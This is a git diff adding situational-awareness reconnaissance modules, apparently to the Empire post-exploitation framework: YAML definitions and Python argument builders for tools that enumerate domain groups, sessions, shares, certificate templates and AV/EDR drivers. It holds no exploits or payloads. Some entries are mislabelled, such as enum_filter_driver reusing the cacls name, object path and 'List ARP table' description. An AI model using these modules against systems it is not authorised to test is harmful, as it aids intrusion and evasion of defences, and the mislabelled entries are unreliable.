x64: bof/situational_awareness/adcs_enum/adcs_enum.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/adcs_enum_com.yaml b/empire/server/modules/bof/situational_awareness/adcs_enum_com.yaml new file mode 100644 index 000000000..11bb60fc6 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/adcs_enum_com.yaml @@ -0,0 +1,32 @@ +name: adcs_enum +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Enumerate CAs and templates in the AD using ICertConfig COM object. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/adcs_enum_com/adcs_enum_com.x86.o + x64: bof/situational_awareness/adcs_enum_com/adcs_enum_com.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/adcs_enum_com2.yaml b/empire/server/modules/bof/situational_awareness/adcs_enum_com2.yaml new file mode 100644 index 000000000..e198ea2c1 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/adcs_enum_com2.yaml @@ -0,0 +1,32 @@ +name: adcs_enum_com2 +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Enumerate CAs and templates in the AD using IX509PolicyServerListManager COM object. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/adcs_enum_com2/adcs_enum_com2.x86.o + x64: bof/situational_awareness/adcs_enum_com2/adcs_enum_com2.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/adv_audit_policies.yaml b/empire/server/modules/bof/situational_awareness/adv_audit_policies.yaml new file mode 100644 index 000000000..64d32c364 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/adv_audit_policies.yaml @@ -0,0 +1,32 @@ +name: adv_audit_policies +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Retrieve advanced security audit policies. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/adv_audit_policies/adv_audit_policies.x86.o + x64: bof/situational_awareness/adv_audit_policies/adv_audit_policies.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/arp.yaml b/empire/server/modules/bof/situational_awareness/arp.yaml new file mode 100644 index 000000000..deaab74df --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/arp.yaml @@ -0,0 +1,32 @@ +name: arp +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List ARP table. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/arp/arp.x86.o + x64: bof/situational_awareness/arp/arp.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/cacls.yaml b/empire/server/modules/bof/situational_awareness/cacls.yaml new file mode 100644 index 000000000..372fa0668 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/cacls.yaml @@ -0,0 +1,37 @@ +name: cacls +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List ARP table. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Filepath + description: Filepath to search for permissions. + required: true + value: 'C:\\windows\\system32\\cmd.exe' + format: Z +bof: + x86: bof/situational_awareness/cacls/cacls.x86.o + x64: bof/situational_awareness/cacls/cacls.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/driversigs.yaml b/empire/server/modules/bof/situational_awareness/driversigs.yaml new file mode 100644 index 000000000..06242ed7a --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/driversigs.yaml @@ -0,0 +1,32 @@ +name: driversigs +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Enumerate installed services Imagepaths to check the signing cert against known AV/EDR vendors. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/driversigs/driversigs.x86.o + x64: bof/situational_awareness/driversigs/driversigs.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/enumLocalSessions.yaml b/empire/server/modules/bof/situational_awareness/enumLocalSessions.yaml new file mode 100644 index 000000000..579c67709 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/enumLocalSessions.yaml @@ -0,0 +1,32 @@ +name: enumLocalSessions +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Enumerate currently attached user sessions both local and over RDP. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/enumlocalsessions/enumlocalsessions.x86.o + x64: bof/situational_awareness/enumlocalsessions/enumlocalsessions.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/enum_filter_driver.yaml b/empire/server/modules/bof/situational_awareness/enum_filter_driver.yaml new file mode 100644 index 000000000..cb956f22f --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/enum_filter_driver.yaml @@ -0,0 +1,38 @@ +name: cacls +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List ARP table. +software: '' +tactics: [] +techniques: + - T1518 +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Computer + description: Specifies the remote system to connect to. + required: true + value: '.' + format: z +bof: + x86: bof/situational_awareness/cacls/cacls.x86.o + x64: bof/situational_awareness/cacls/cacls.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/env.yaml b/empire/server/modules/bof/situational_awareness/env.yaml new file mode 100644 index 000000000..415842ade --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/env.yaml @@ -0,0 +1,32 @@ +name: env +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List process environment variables. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/env/env.x86.o + x64: bof/situational_awareness/env/env.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/get_password_policy.yaml b/empire/server/modules/bof/situational_awareness/get_password_policy.yaml new file mode 100644 index 000000000..73071a5b3 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/get_password_policy.yaml @@ -0,0 +1,37 @@ +name: get_password_policy +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Get target server or domain's configured password policy and lockouts. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Hostname + description: Computer or hostname to query. + required: true + value: '.' + format: Z +bof: + x86: bof/situational_awareness/get_password_policy/get_password_policy.x86.o + x64: bof/situational_awareness/get_password_policy/get_password_policy.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/ipconfig.yaml b/empire/server/modules/bof/situational_awareness/ipconfig.yaml new file mode 100644 index 000000000..93517aded --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/ipconfig.yaml @@ -0,0 +1,32 @@ +name: ipconfig +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List IPv4 address, hostname, and DNS server. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/ipconfig/ipconfig.x86.o + x64: bof/situational_awareness/ipconfig/ipconfig.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/list_firewall_rules.yaml b/empire/server/modules/bof/situational_awareness/list_firewall_rules.yaml new file mode 100644 index 000000000..f8c4710a5 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/list_firewall_rules.yaml @@ -0,0 +1,32 @@ +name: list_firewall_rules +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List Windows firewall rules. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/list_firewall_rules/list_firewall_rules.x86.o + x64: bof/situational_awareness/list_firewall_rules/list_firewall_rules.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/listdns.yaml b/empire/server/modules/bof/situational_awareness/listdns.yaml new file mode 100644 index 000000000..e37a3cf49 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/listdns.yaml @@ -0,0 +1,32 @@ +name: listdns +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List DNS cache entries. Attempt to query and resolve each. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/listdns/listdns.x86.o + x64: bof/situational_awareness/listdns/listdns.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/listmods.yaml b/empire/server/modules/bof/situational_awareness/listmods.yaml new file mode 100644 index 000000000..aa1621b36 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/listmods.yaml @@ -0,0 +1,37 @@ +name: listmods +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List process modules (DLL). Target current process if PID is empty. Complement to driversigs to determine if our process was injected by AV/EDR. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: PID + description: PID of the process to list modules for. + required: true + value: '0' + format: i +bof: + x86: bof/situational_awareness/listmods/listmods.x86.o + x64: bof/situational_awareness/listmods/listmods.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/locale.yaml b/empire/server/modules/bof/situational_awareness/locale.yaml new file mode 100644 index 000000000..ea6d8b466 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/locale.yaml @@ -0,0 +1,32 @@ +name: locale +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List system locale language, locale ID, date, time, and country. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/locale/locale.x86.o + x64: bof/situational_awareness/locale/locale.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/netGroupList.py b/empire/server/modules/bof/situational_awareness/netGroupList.py new file mode 100644 index 000000000..10f51be42 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netGroupList.py @@ -0,0 +1,19 @@ +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule + + +class Module: + @staticmethod + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + script_file, script_end = main_menu.modulesv2.generate_bof_data( + module=module, params=params, obfuscate=obfuscate + ) + + script_end += f" -s:0 -Z:{params['Domain']} -Z: " + return f"{script_file}|{script_end}" diff --git a/empire/server/modules/bof/situational_awareness/netGroupList.yaml b/empire/server/modules/bof/situational_awareness/netGroupList.yaml new file mode 100644 index 000000000..72006e510 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netGroupList.yaml @@ -0,0 +1,39 @@ +name: netGroupList +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List the members of the specified group in this domain (or specified domain if given). +software: '' +tactics: [] +techniques: + - T1069.002 +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Domain + description: Domain to query. + required: false + value: '' +bof: + x86: bof/situational_awareness/netgroup/netgroup.x86.o + x64: bof/situational_awareness/netgroup/netgroup.x64.o + entry_point: '' +script_path: '' +script_end: '' +advanced: + custom_generate: true \ No newline at end of file diff --git a/empire/server/modules/bof/situational_awareness/netGroupListMembers.py b/empire/server/modules/bof/situational_awareness/netGroupListMembers.py new file mode 100644 index 000000000..59b981b91 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netGroupListMembers.py @@ -0,0 +1,19 @@ +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule + + +class Module: + @staticmethod + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + script_file, script_end = main_menu.modulesv2.generate_bof_data( + module=module, params=params, obfuscate=obfuscate + ) + + script_end += f" -s:1 -Z:{params['Domain']} -Z:{params['Group']}" + return f"{script_file}|{script_end}" diff --git a/empire/server/modules/bof/situational_awareness/netGroupListMembers.yaml b/empire/server/modules/bof/situational_awareness/netGroupListMembers.yaml new file mode 100644 index 000000000..f5d1b4642 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netGroupListMembers.yaml @@ -0,0 +1,43 @@ +name: netGroupListMembers +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List group members from the default or specified domain. +software: '' +tactics: [] +techniques: + - T1069.002 +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Group + description: Group to query. + required: true + value: '' + - name: Domain + description: Domain to query. + required: false + value: '' +bof: + x86: bof/situational_awareness/netgroup/netgroup.x86.o + x64: bof/situational_awareness/netgroup/netgroup.x64.o + entry_point: '' +script_path: '' +script_end: '' +advanced: + custom_generate: true \ No newline at end of file diff --git a/empire/server/modules/bof/situational_awareness/netLocalGroupList.py b/empire/server/modules/bof/situational_awareness/netLocalGroupList.py new file mode 100644 index 000000000..835041a76 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netLocalGroupList.py @@ -0,0 +1,19 @@ +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule + + +class Module: + @staticmethod + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + script_file, script_end = main_menu.modulesv2.generate_bof_data( + module=module, params=params, obfuscate=obfuscate + ) + + script_end += f" -s:0 -Z:{params['Server']} -Z: " + return f"{script_file}|{script_end}" diff --git a/empire/server/modules/bof/situational_awareness/netLocalGroupList.yaml b/empire/server/modules/bof/situational_awareness/netLocalGroupList.yaml new file mode 100644 index 000000000..a82676ae1 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netLocalGroupList.yaml @@ -0,0 +1,38 @@ +name: netLocalGroupList +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List local groups from the local or specified computer. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Server + description: Server to query. + required: false + value: '' +bof: + x86: bof/situational_awareness/netlocalgroup/netlocalgroup.x86.o + x64: bof/situational_awareness/netlocalgroup/netlocalgroup.x64.o + entry_point: '' +script_path: '' +script_end: '' +advanced: + custom_generate: true \ No newline at end of file diff --git a/empire/server/modules/bof/situational_awareness/netLocalGroupListMembers.py b/empire/server/modules/bof/situational_awareness/netLocalGroupListMembers.py new file mode 100644 index 000000000..6cd849db0 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netLocalGroupListMembers.py @@ -0,0 +1,19 @@ +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule + + +class Module: + @staticmethod + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + script_file, script_end = main_menu.modulesv2.generate_bof_data( + module=module, params=params, obfuscate=obfuscate + ) + + script_end += f" -s:1 -Z:{params['Server']} -Z:{params['Group']}" + return f"{script_file}|{script_end}" diff --git a/empire/server/modules/bof/situational_awareness/netLocalGroupListMembers.yaml b/empire/server/modules/bof/situational_awareness/netLocalGroupListMembers.yaml new file mode 100644 index 000000000..3dfa646f9 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netLocalGroupListMembers.yaml @@ -0,0 +1,43 @@ +name: netLocalGroupListMembers +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List local groups from the local or specified computer. +software: '' +tactics: [] +techniques: + - T1069 +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Group + description: Group to query. + required: true + value: '' + - name: Server + description: Server to query. + required: false + value: '' +bof: + x86: bof/situational_awareness/netlocalgroup/netlocalgroup.x86.o + x64: bof/situational_awareness/netlocalgroup/netlocalgroup.x64.o + entry_point: '' +script_path: '' +script_end: '' +advanced: + custom_generate: true \ No newline at end of file diff --git a/empire/server/modules/bof/situational_awareness/netloggedon.py b/empire/server/modules/bof/situational_awareness/netloggedon.py new file mode 100644 index 000000000..b01f5687a --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netloggedon.py @@ -0,0 +1,19 @@ +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule + + +class Module: + @staticmethod + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + script_file, script_end = main_menu.modulesv2.generate_bof_data( + module=module, params=params, obfuscate=obfuscate + ) + + script_end += f" -Z:{params['Hostname']} -i:0" + return f"{script_file}|{script_end}" diff --git a/empire/server/modules/bof/situational_awareness/netloggedon.yaml b/empire/server/modules/bof/situational_awareness/netloggedon.yaml new file mode 100644 index 000000000..29c0cc669 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netloggedon.yaml @@ -0,0 +1,39 @@ +name: netloggedon +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Return users logged on the local or remote computer. +software: '' +tactics: [] +techniques: + - T1049 +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Hostname + description: Hostname to query. + required: true + value: '.' +bof: + x86: bof/situational_awareness/netloggedon/netloggedon.x86.o + x64: bof/situational_awareness/netloggedon/netloggedon.x64.o + entry_point: '' +script_path: '' +script_end: '' +advanced: + custom_generate: true \ No newline at end of file diff --git a/empire/server/modules/bof/situational_awareness/netsession.yaml b/empire/server/modules/bof/situational_awareness/netsession.yaml new file mode 100644 index 000000000..7ef6833f6 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netsession.yaml @@ -0,0 +1,38 @@ +name: netsession +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Enumerate sessions on the local or specified computer. +software: '' +tactics: [] +techniques: + - T1049 +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Computer + description: Computer to query. + required: false + value: '' + format: Z +bof: + x86: bof/situational_awareness/get-netsession/get-netsession.x86.o + x64: bof/situational_awareness/get-netsession/get-netsession.x64.o + entry_point: '' +script_path: '' +script_end: '' \ No newline at end of file diff --git a/empire/server/modules/bof/situational_awareness/netshares.py b/empire/server/modules/bof/situational_awareness/netshares.py new file mode 100644 index 000000000..b01f5687a --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netshares.py @@ -0,0 +1,19 @@ +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule + + +class Module: + @staticmethod + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + script_file, script_end = main_menu.modulesv2.generate_bof_data( + module=module, params=params, obfuscate=obfuscate + ) + + script_end += f" -Z:{params['Hostname']} -i:0" + return f"{script_file}|{script_end}" diff --git a/empire/server/modules/bof/situational_awareness/netshares.yaml b/empire/server/modules/bof/situational_awareness/netshares.yaml new file mode 100644 index 000000000..e481158d0 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netshares.yaml @@ -0,0 +1,40 @@ +name: netshares +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List shares on local or remote computer and gets more info then standard netshares(requires admin). +software: '' +tactics: [] +techniques: + - T1135 +background: false +output_extension: +needs_admin: true +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Hostname + description: Hostname to query. + required: true + value: '.' + format: Z +bof: + x86: bof/situational_awareness/netshares/netshares.x86.o + x64: bof/situational_awareness/netshares/netshares.x64.o + entry_point: '' +script_path: '' +script_end: '' +advanced: + custom_generate: true \ No newline at end of file diff --git a/empire/server/modules/bof/situational_awareness/netstat.yaml b/empire/server/modules/bof/situational_awareness/netstat.yaml new file mode 100644 index 000000000..0a7023c3b --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netstat.yaml @@ -0,0 +1,32 @@ +name: netstat +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: TCP and UDP IPv4 listing ports. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 +bof: + x86: bof/situational_awareness/netstat/netstat.x86.o + x64: bof/situational_awareness/netstat/netstat.x64.o + entry_point: '' +script_path: '' +script_end: '' diff --git a/empire/server/modules/bof/situational_awareness/nettime.yaml b/empire/server/modules/bof/situational_awareness/nettime.yaml new file mode 100644 index 000000000..bb8941919 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/nettime.yaml @@ -0,0 +1,37 @@ +name: nettime +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Display time on remote computer. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Hostname + description: Hostname to query. + required: true + value: '.' + format: Z +bof: + x86: bof/situational_awareness/nettime/nettime.x86.o + x64: bof/situational_awareness/nettime/nettime.x64.o + entry_point: '' +script_path: '' +script_end: '' \ No newline at end of file diff --git a/empire/server/modules/bof/situational_awareness/netuptime.yaml b/empire/server/modules/bof/situational_awareness/netuptime.yaml new file mode 100644 index 000000000..7cb050cd2 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netuptime.yaml @@ -0,0 +1,37 @@ +name: netuptime +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Return information about the boot time on the local or remote computer. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Hostname + description: Hostname to query. + required: true + value: '.' + format: Z +bof: + x86: bof/situational_awareness/netuptime/netuptime.x86.o + x64: bof/situational_awareness/netuptime/netuptime.x64.o + entry_point: '' +script_path: '' +script_end: '' \ No newline at end of file diff --git a/empire/server/modules/bof/situational_awareness/netuser.yaml b/empire/server/modules/bof/situational_awareness/netuser.yaml new file mode 100644 index 000000000..9eb61796b --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netuser.yaml @@ -0,0 +1,42 @@ +name: netuser +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: Get info about specific user. Pull from domain if a domain name is specified. +software: '' +tactics: [] +techniques: [] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/trustedsec/CS-Situational-Awareness-BOF +options: + - name: Architecture + description: Architecture of the beacon_funcs.o to generate with (x64 or x86). + required: true + value: x64 + strict: true + suggested_values: + - x64 + - x86 + - name: Username + description: Username to query. + required: true + value: '' + format: Z + - name: Domain + description: Username to query. + required: false + value: '' + format: Z +bof: + x86: bof/situational_awareness/netuser/netuser.x86.o + x64: bof/situational_awareness/netuser/netuser.x64.o + entry_point: '' +script_path: '' +script_end: '' \ No newline at end of file diff --git a/empire/server/modules/bof/situational_awareness/netview.yaml b/empire/server/modules/bof/situational_awareness/netview.yaml new file mode 100644 index 000000000..06c3e3509 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/netview.yaml @@ -0,0 +1,32 @@ +name: netview 